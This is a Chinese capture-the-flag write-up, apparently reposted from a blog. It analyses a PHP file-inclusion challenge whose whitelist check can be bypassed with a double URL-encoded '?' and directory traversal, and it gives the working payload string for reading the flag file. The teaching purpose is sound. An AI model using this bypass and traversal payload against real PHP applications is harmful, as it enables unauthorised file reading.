查看源码,source.php,进去看到源码
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can‘t see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . ‘?‘, ‘?‘)
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . ‘?‘, ‘?‘)
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can‘t see it";
return false;
}
}
if (! empty($_REQUEST[‘file‘])
&& is_string($_REQUEST[‘file‘])
&& emmm::checkFile($_REQUEST[‘file‘])
) {
include $_REQUEST[‘file‘];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
分段来看
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can‘t see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
首先是白名单,提交的page中要是白名单内的。
$_page = mb_substr(
$page,
0,
mb_strpos($page . ‘?‘, ‘?‘)
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . ‘?‘, ‘?‘)
);
if (in_array($_page, $whitelist)) {
return true;
}
1、是page取?前作为_page再判断是否属于白名单
2、url解密一次
3、再取?前再判断一次
hint.php说在ffffllllaaaagggg.php,穿越目录读取
这里用?两次url编码,就可以绕过urldecode
这便符合了 ? 前面内容在白名单里会返回 true,会被包含,通过目录穿越就会造成任意文件包含漏洞
payload ?file=source.php%253f../../../../../../../../ffffllllaaaagggg
两个source.php就绕过了两个白名单检测。
至于多少个../就一个个试过去
原文:https://www.cnblogs.com/vstar-o/p/12609590.html